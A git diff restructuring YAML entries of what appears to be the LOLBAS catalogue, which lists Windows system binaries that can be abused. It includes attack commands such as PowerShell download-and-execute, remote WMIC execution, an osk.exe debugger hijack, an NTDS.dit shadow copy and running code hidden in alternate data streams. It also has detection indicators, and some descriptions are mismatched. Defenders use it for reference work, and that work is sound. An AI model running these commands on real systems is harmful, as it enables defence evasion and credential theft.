+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\System32\rundll32.exe
+  - Path: C:\Windows\System32\rundll32.exe
-  - C:\Windows\SysWOW64\rundll32.exe
+  - Path: C:\Windows\SysWOW64\rundll32.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC:
 Resources:
-  - https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
+  - Link: https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
-  - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
+  - Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
-  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Rundll32.md
+  - Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
-  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
+  - Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
-  - https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
+Acknowledgement:
-Notes: Thanks to Casey Smith - @subtee
+  - Person: Casey Smith
-
+    Handle: '@subtee'
+---

yml/OSBinaries/Runonce.yml

@@ -1,20 +1,28 @@
 ---
 Name: Runonce.exe
-Description: Execute
+Description: 
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: Runonce.exe /AlternateShellStartup
-    Description: Executes a Run Once Task that has been configured in the registry.
+    Description: Executes a Run Once Task that has been configured in the registry
+    Usecase: Persistence, bypassing defensive counter measures
+    Category: Execute
+    Privileges: Administrator
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\runonce.exe
+  - Path: C:\Windows\System32\runonce.exe
-  - c:\windows\sysWOW64\runonce.exe
+  - Path: C:\Windows\SysWOW64\runonce.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\YOURKEY
 Resources:
-  - https://twitter.com/pabraeken/status/990717080805789697
+  - Link: https://twitter.com/pabraeken/status/990717080805789697
-  - https://cmatskas.com/configure-a-runonce-task-on-windows/
+  - Link: https://cmatskas.com/configure-a-runonce-task-on-windows/
-Notes: |
+Acknowledgement:
-    Thanks to Pierre-Alexandre Braeken - @pabraeken
+  - Person: Pierre-Alexandre Braeken
-    Requires Administrative access.
+    Handle: '@pabraeken'
+---

yml/OSBinaries/Runscripthelper.yml

@@ -1,17 +1,28 @@
 ---
 Name: Runscripthelper.exe
-Description: Execute
+Description: 
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test
-    Description: Execute the PowerShell script named test.txt.
+    Description: Execute the PowerShell script named test.txt
+    Usecase: Bypass constrained language mode and execute Powershell script
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - 'C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.15_none_c2df1bba78111118\Runscripthelper.exe    '
+  - Path: C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.15_none_c2df1bba78111118\Runscripthelper.exe
-  - 'C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.192_none_ad4699b571e00c4a\Runscripthelper.exe     '
+  - Path: CC:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.192_none_ad4699b571e00c4a\Runscripthelper.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Event 4014 - Powershell logging
+ - IOC: Event 400
 Resources:
-  - https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc
+  - Link: https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc
-Notes: Thanks to Matt Graeber - @mattifestation
+Acknowledgement:
+  - Person: Matt Graeber
+    Handle: '@mattifestation'
+---

yml/OSBinaries/Sc.yml

@@ -1,19 +1,27 @@
 ---
-Name: SC.exe
+Name: Sc.exe
-Description: Execute, Read ADS, Create Service, Start Service
+Description: Used by Windows to manage services
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
-  - Command: |
+  - Command: sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilservice
-          sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
+    Description: Creates a new service and executes the file stored in the ADS.
-          sc start evilservice
+    Usecase: Execute binary file hidden inside an alternate data stream
-    Description: ''
+    Category: Alternate data streams 
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\System32\sc.exe
+  - Path: C:\Windows\System32\sc.exe
-  - C:\Windows\SysWOW64\sc.exe
+  - Path: C:\Windows\SysWOW64\sc.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Services that gets created
 Resources:
-  - https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
+  - Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
-Notes: Thanks to Oddvar Moe - @oddvarmoe
+Acknowledgement:
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Scriptrunner.yml

@@ -1,21 +1,37 @@
 ---
 Name: Scriptrunner.exe
-Description: Execute
+Description: 
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: Scriptrunner.exe -appvscript calc.exe
-    Description: Execute calc.exe.
+    Description: Executes calc.exe
+    Usecase: Execute binary through proxy binary to evade defensive counter measurments
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: ScriptRunner.exe -appvscript "\\fileserver\calc.cmd"
-    Description: Execute the calc.cmd script on the remote share.
+    Description: Executes calc.cmde from remote server
+    Usecase: Execute binary through proxy binary  from external server to evade defensive counter measurments
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\scriptrunner.exe
+  - Path: C:\Windows\System32\scriptrunner.exe
-  - c:\windows\sysWOW64\scriptrunner.exe
+  - Path: C:\Windows\SysWOW64\scriptrunner.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Scriptrunner.exe should not be in use unless App-v is deployed
 Resources:
-  - https://twitter.com/KyleHanslovan/status/914800377580503040
+  - Link: https://twitter.com/KyleHanslovan/status/914800377580503040
-  - https://twitter.com/NickTyrer/status/914234924655312896
+  - Link: https://twitter.com/NickTyrer/status/914234924655312896
-  - https://github.com/MoooKitty/Code-Execution
+  - Link: https://github.com/MoooKitty/Code-Execution
-Notes: Thanks to Nick Tyrer - @NickTyrer
+Acknowledgement:
+  - Person: Nick Tyrer
+    Handle: '@nicktyrer'
+---

yml/OSBinaries/Syncappvpublishingserver.yml

@@ -1,16 +1,27 @@
 ---
 Name: SyncAppvPublishingServer.exe
-Description: Execute
+Description: Used by App-v to get App-v server lists
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
     Description: Example command on how inject Powershell code into the process
+    Usecase: Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\System32\SyncAppvPublishingServer.exe
+  - Path: C:\Windows\System32\SyncAppvPublishingServer.exe
-Code Sample: []
+  - Path: C:\Windows\SysWOW64\SyncAppvPublishingServer.exe
-Detection: []
+Code Sample: 
+- Code:
+Detection:
+ - IOC: SyncAppvPublishingServer.exe should never be in use unless App-V is deployed
 Resources:
-  - https://twitter.com/monoxgas/status/895045566090010624
+  - Link: https://twitter.com/monoxgas/status/895045566090010624
-Notes: Thanks to Nick Landers - @monoxgas
+Acknowledgement:
+  - Person: Nick Landers
+    Handle: '@monoxgas'
+---

yml/OSBinaries/Wab.yml

@@ -1,20 +1,28 @@
----
+ ---
 Name: Wab.exe
-Description: Execute
+Description: Windows address book manager
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
-  - Command: Wab.exe
+  - Command: wab.exe
-    Description: Loads a DLL configured in the registry under HKLM.
+    Description: Change HKLM\Software\Microsoft\WAB\DLLPath and execute DLL of choice
+    Usecase: Execute dll file. Bypass defensive counter measures
+    Category: Execute
+    Privileges: Administrator
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - 'C:\Program Files\Windows Mail\wab.exe    '
+  - Path: C:\Program Files\Windows Mail\wab.exe
-  - 'C:\Program Files (x86)\Windows Mail\wab.exe    '
+  - Path: C:\Program Files (x86)\Windows Mail\wab.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: WAB.exe should normally never be used
 Resources:
-  - http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/
+  - Link: https://twitter.com/Hexacorn/status/991447379864932352
-  - https://twitter.com/Hexacorn/status/991447379864932352
+  - Link: http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/
-Notes: |
+Acknowledgement:
-    Thanks to Adam - @Hexacorn
+  - Person: Adam
-    Requires registry changes, Requires Administrative Access
+    Handle: '@Hexacorn'
+---

yml/OSBinaries/Wmic.yml

@@ -1,46 +1,85 @@
 ---
-Name: WMIC.exe
+Name: Wmic.exe
-Description: Reconnaissance, Execute, Read ADS
+Description: The WMI command-line (WMIC) utility provides a command-line interface for WMI
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
-  - Command: wmic.exe process call create calc
-    Description: Execute calc.exe.
   - Command: wmic.exe process call create "c:\ads\file.txt:program.exe"
     Description: Execute a .EXE file stored as an Alternate Data Stream (ADS).
-  - Command: wmic.exe useraccount get /ALL
+    Usecase: Execute binary file hidden in Alternate data streams to evade defensive counter measures
-    Description: List the user accounts on the machine.
+    Category: Alternate data streams
-  - Command: wmic.exe process get caption,executablepath,commandline
+    Privileges: User
-    Description: Gets the command line used to execute a running program.
+    MitreID: T1096
-  - Command: wmic.exe qfe get description,installedOn /format:csv
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
-    Description: Gets a list of installed Windows updates.
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
-  - Command: wmic.exe /node:"192.168.0.1" service where (caption like "%sql server (%")
+  - Command: wmic.exe process call create calc
-    Description: Check to see if the target system is running SQL.
+    Description: Execute calc from wmic
-  - Command: get-wmiobject –class "win32_share" –namespace "root\CIMV2" –computer "targetname"
+    Usecase: Execute binary from wmic to evade defensive counter measures
-    Description: Use the PowerShell cmdlet to list the shares on a remote server.
+    Category: Execute
-  - Command: wmic.exe /user:<username> /password:<password> /node:<computer_name> process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: wmic.exe /user: /password: /node: process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"
     Description: Add cmd.exe as a debugger for the osk.exe process. Each time osk.exe is run, cmd.exe will be run as well.
+    Usecase: Execute binary by manipulate the debugger for a program to evade defensive counter measures
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: wmic.exe /node:"192.168.0.1" process call create "evil.exe"
     Description: Execute evil.exe on the remote system.
+    Usecase: Execute binary on a remote system
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt"
     Description: Create a scheduled execution of C:\GoogleUpdate.exe to run at 9pm.
+    Usecase: Execute binary with scheduled task created with wmic on a remote computer
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit"
     Description: Create a volume shadow copy of NTDS.dit that can be copied.
-  - Command: wmic.exe process get brief /format:"https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"
+    Usecase: Execute binary on remote system
-    Description: Execute a script contained in the target .XSL file hosted on a remote server.
+    Category: Execute
-  - Command: wmic.exe os get /format:"MYXSLFILE.xsl"
+    Privileges: User
-    Description: Executes JScript or VBScript embedded in the target XSL stylesheet.
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"
+    Description: Create a volume shadow copy of NTDS.dit that can be copied.
+    Usecase: Execute binary on remote system
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"
     Description: Executes JScript or VBScript embedded in the target remote XSL stylsheet.
-
+    Usecase: Execute script from remote system
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\wbem\wmic.exe
+  - Path: C:\Windows\System32\wmic.exe
-  - c:\windows\sysWOW64\wbem\wmic.exe
+  - Path: C:\Windows\SysWOW64\wmic.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Wmic getting scripts from remote system
 Resources:
-  - https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory
+  - Link: https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory
-  - https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html
+  - Link: https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html
-  - https://twitter.com/subTee/status/986234811944648707
+  - Link: https://twitter.com/subTee/status/986234811944648707
-Notes: Thanks to Casey Smith - @subtee
+Acknowledgement:
+  - Person: Casey Smith
+    Handle: '@subtee'
+---

yml/OSBinaries/Wscript.yml

@@ -1,17 +1,27 @@
 ---
 Name: Wscript.exe
-Description: Execute, Read ADS
+Description: Used by Windows to execute scripts
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: wscript c:\ads\file.txt:script.vbs
-    Description: Executes the .VBS script stored as an Alternate Data Stream (ADS).
+    Description: Execute script stored in an alternate data stream
+    Usecase: Execute hidden code to evade defensive counter measures
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\wscript.exe
+  - Path: C:\Windows\System32\wscript.exe
-  - c:\windows\sysWOW64\wscript.exe
+  - Path: C:\Windows\SysWOW64\wscript.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Wscript.exe executing code from alternate data streams
 Resources:
-  - '?'
+  - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
-Notes: Thanks to ?
+Acknowledgement:
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Xwizard.yml

@@ -1,21 +1,29 @@
 ---
 Name: Xwizard.exe
-Description: DLL hijack, Execute
+Description: 
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
-  - Command: xwizard.exe
-    Description: Xwizard.exe will load a .DLL file located in the same directory (DLL Hijack) named xwizards.dll.
   - Command: xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
     Description: Xwizard.exe running a custom class that has been added to the registry.
+    Usecase: Run a com object created in registry to evade defensive counter measures
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\xwizard.exe
+  - Path: C:\Windows\System32\xwizard.exe
-  - c:\windows\sysWOW32\xwizard.exe
+  - Path: C:\Windows\SysWOW64\xwizard.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: 
 Resources:
-  - http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/
+  - Link: http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/
-  - https://www.youtube.com/watch?v=LwDHX7DVHWU
+  - Link: https://www.youtube.com/watch?v=LwDHX7DVHWU
-  - https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5
+  - Link: https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5
-Notes: Thanks to Adam - @Hexacorn, Nick Tyrer - @nicktyrer
+Acknowledgement:
+  - Person: Adam
+    Handle: '@Hexacorn'
+---